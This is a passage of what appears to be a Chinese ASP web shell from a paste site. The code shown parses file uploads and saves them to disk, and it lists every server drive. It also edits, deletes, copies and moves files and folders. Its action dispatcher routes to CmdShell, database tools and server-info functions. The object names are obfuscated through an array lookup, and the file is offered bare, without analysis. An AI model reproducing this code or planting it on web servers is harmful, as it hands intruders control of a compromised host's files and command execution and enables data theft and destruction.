  633. if Request.TotalBytes<1 then Exit Sub
  634. set T1 = CreateObject(ObT(6,0))
  635. T1.Type = 1 : T1.Mode =3 : T1.Open
  636. T1.Write Request.BinaryRead(Request.TotalBytes)
  637. T1.Position=0 : TDa =T1.Read : DStart = 1
  638. DEnd = LenB(TDa)
  639. set D2=CreateObject(ObT(4,0))
  640. vbCrlf = chrB(13) & chrB(10)
  641. set T2 = CreateObject(ObT(6,0))
  642. TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
  643. TLen = LenB (TSt)
  644. DStart=DStart+TLen+1
  645. while (DStart + 10) < DEnd
  646. DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
  647. T2.Type = 1 : T2.Mode =3 : T2.Open
  648. T1.Position = DStart
  649. T1.CopyTo T2,DIEnd-DStart
  650. T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
  651. TIn = T2.ReadText : T2.Close
  652. DStart = InStrB(DIEnd,TDa,TSt)
  653. FStart = InStr(22,TIn,"name=""",1)+6
  654. FEnd = InStr(FStart,TIn,"""",1)
  655. UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
  656. if InStr (45,TIn,"filename=""",1) > 0 then
  657. set TFL=new FIF
  658. FStart = InStr(FEnd,TIn,"filename=""",1)+10
  659. FEnd = InStr(FStart,TIn,"""",1)
  660. FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
  661. FEnd = InStr(FStart,TIn,vbCr)
  662. TFL.FileStart =DIEnd
  663. TFL.FileSize = DStart -DIEnd -3
  664. if not D2.Exists(UpName) then
  665. D2.add UpName,TFL
  666. end if
  667. else
  668. T2.Type =1 : T2.Mode =3 : T2.Open
  669. T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
  670. T2.Position = 0 : T2.Type = 2
  671. T2.Charset ="gb2312"
  672. SFV = T2.ReadText
  673. T2.Close
  674. if D1.Exists(UpName) then
  675. D1(UpName)=D1(UpName)&", "&SFV
  676. else
  677. D1.Add UpName,SFV
  678. end if
  679. end if
  680. DStart=DStart+TLen+1
  681. wend
  682. TDa=""
  683. set T2 =nothing
  684. End Sub
  685.  
  686. Private Sub Class_Terminate
  687. if Request.TotalBytes>0 then
  688. D1.RemoveAll:D2.RemoveAll
  689. set D1=nothing:set D2=nothing
  690. T1.Close:set T1 =nothing
  691. end if
  692. End Sub
  693. End Class
  694.  
  695. Class FIF
  696. dim FileSize,FileStart
  697. Private Sub Class_Initialize
  698. FileSize = 0
  699. FileStart= 0
  700. End Sub
  701.  
  702. Public function SaveAs(F)
  703. dim T3
  704. SaveAs=true
  705. if trim(F)="" or FileStart=0 then exit function
  706. set T3=CreateObject(ObT(6,0))
  707. T3.Mode=3 : T3.Type=1 : T3.Open
  708. T1.position=FileStart
  709. T1.copyto T3,FileSize
  710. T3.SaveToFile F,2
  711. T3.Close
  712. set T3=nothing
  713. SaveAs=false
  714. end function
  715. End Class
  716.  
  717.  
  718. Class LBF
  719. Dim CF
  720. Private Sub Class_Initialize
  721. SET CF=CreateObject(ObT(0,0))
  722. End Sub
  723.  
  724. Private Sub Class_Terminate
  725. Set CF=Nothing
  726. End Sub
  727.  
  728. Function ShowDriver()
  729. For Each D in CF.Drives
  730. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;"
  731. SI=SI&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a>"
  732. SI=SI&"</td></tr>"
  733. Next
  734. ShowDriver=SI
  735. End Function
  736.  
  737. Function ShowFile(Path)
  738. Set FOLD=CF.GetFolder(Path)
  739. i=0
  740. SI="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#EFEFEF'><tr>"
  741. For Each F in FOLD.subfolders
  742. SI=SI&"<td height='20'>&nbsp;"
  743. SI=SI&" <a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a>"
  744. SI=SI&" | <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>D</a>"
  745. SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>C</a>"
  746. SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>M</a>"
  747. i=i+1
  748. If i mod 3 = 0 then SI=SI&"</tr><tr>"
  749. Next
  750. SI=SI&"</tr><tr><td height=5></td></tr></table>"
  751. Response.Write SI : SI=""
  752.  
  753. For Each L in Fold.files
  754. SI="<table width='100%' border='0' cellspacing='1' cellpadding='0'>"
  755. SI=SI&"<tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"">"
  756. SI=SI&"<td height='20'>&nbsp;"
  757. SI=SI&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'>"&L.Name&"</a></td>"
  758. SI=SI&"<td width='200'>"&L.Type&"</td>"
  759. SI=SI&"<td width='50'>"&clng(L.size/1024)&"K</td>"
  760. SI=SI&"<td width='160'>"&L.DateLastModified&"</td>"
  761. SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>edit</a></td>"
  762. SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='删除'>del</a></td>"
  763. SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>copy</a></td>"
  764. SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>move</a></td>"
  765. SI=SI&"</tr></table>"
  766. Response.Write SI : SI=""
  767. Next
  768. Set FOLD=Nothing
  769. End function
  770.  
  771. Function DelFile(Path)
  772. If CF.FileExists(Path) Then
  773. CF.DeleteFile Path
  774. SI="<center><br><br><br>文件 "&Path&" 删除成功!</center>"
  775. SI=SI&BackUrl
  776. Response.Write SI
  777. End If
  778. End Function
  779.  
  780. Function EditFile(Path)
  781. If Request("Action2")="Post" Then
  782. Set T=CF.CreateTextFile(Path)
  783. T.WriteLine Request.form("content")
  784. T.close
  785. Set T=nothing
  786. SI="<center><br><br><br>文件保存成功!</center>"
  787. SI=SI&BackUrl
  788. Response.Write SI
  789. Response.End
  790. End If
  791.  
  792. If Path<>"" Then
  793. Set T=CF.opentextfile(Path, 1, False)
  794. Txt=HTMLEncode(T.readall)
  795. T.close
  796. Set T=Nothing
  797. Else
  798. Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
  799. End If
  800.  
  801. SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>"
  802. SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>"
  803. SI=SI&"<input name='Action' value='EditFile' Type='hidden'>"
  804. SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>"
  805. SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>"
  806. SI=SI&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='重置'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='保存'></form>"
  807. SI=SI&"</td></tr></table></body></html>"
  808. Response.Write SI
  809. End Function
  810.  
  811. Function CopyFile(Path)
  812. Path = Split(Path,"||||")
  813. If CF.FileExists(Path(0)) and Path(1)<>"" Then
  814. CF.CopyFile Path(0),Path(1)
  815. SI="<center><br><br><br>文件"&Path(0)&"复制成功!</center>"
  816. SI=SI&BackUrl
  817. Response.Write SI
  818. End If
  819. End Function
  820.  
  821. Function MoveFile(Path)
  822. Path = Split(Path,"||||")
  823. If CF.FileExists(Path(0)) and Path(1)<>"" Then
  824. CF.MoveFile Path(0),Path(1)
  825. SI="<center><br><br><br>文件"&Path(0)&"移动成功!</center>"
  826. SI=SI&BackUrl
  827. Response.Write SI
  828. End If
  829. End Function
  830.  
  831. Function DelFolder(Path)
  832. If CF.FolderExists(Path) Then
  833. CF.DeleteFolder Path
  834. SI="<center><br><br><br>目录"&Path&"删除成功!</center>"
  835. SI=SI&BackUrl
  836. Response.Write SI
  837. End If
  838. End Function
  839.  
  840. Function CopyFolder(Path)
  841. Path = Split(Path,"||||")
  842. If CF.FolderExists(Path(0)) and Path(1)<>"" Then
  843. CF.CopyFolder Path(0),Path(1)
  844. SI="<center><br><br><br>目录"&Path(0)&"复制成功!</center>"
  845. SI=SI&BackUrl
  846. Response.Write SI
  847. End If
  848. End Function
  849.  
  850. Function MoveFolder(Path)
  851. Path = Split(Path,"||||")
  852. If CF.FolderExists(Path(0)) and Path(1)<>"" Then
  853. CF.MoveFolder Path(0),Path(1)
  854. SI="<center><br><br><br>目录"&Path(0)&"移动成功!</center>"
  855. SI=SI&BackUrl
  856. Response.Write SI
  857. End If
  858. End Function
  859.  
  860. Function NewFolder(Path)
  861. If Not CF.FolderExists(Path) and Path<>"" Then
  862. CF.CreateFolder Path
  863. SI="<center><br><br><br>目录"&Path&"新建成功!</center>"
  864. SI=SI&BackUrl
  865. Response.Write SI
  866. End If
  867. End Function
  868. End Class
  869.  
  870.  
  871. Select Case Action
  872. Case "MainMenu":MainMenu()
  873. Case "ShowFile"
  874. Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing
  875. Case "DownFile":DownFile FName:ShowErr()
  876. Case "DelFile"
  877. Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing
  878. Case "EditFile"
  879. Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing
  880. Case "CopyFile"
  881. Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing
  882. Case "MoveFile"
  883. Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing
  884. Case "DelFolder"
  885. Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing
  886. Case "CopyFolder"
  887. Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing
  888. Case "MoveFolder"
  889. Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing
  890. Case "NewFolder"
  891. Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing
  892. Case "UpFile":UpFile()
  893. Case "CmdShell":CmdShell()
  894. Case "Logout":Session.Contents.Remove("webadmin"):Response.Redirect URL
  895. Case "CreateMdb":CreateMdb FName
  896. Case "CompactMdb":CompactMdb FName
  897. Case "DbManager":DbManager()
  898. Case "Course":Course()
  899. Case "ServerInfo":ServerInfo()
  900. Case Else MainForm()
  901. End Select
  902. ShowErr()
  903. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement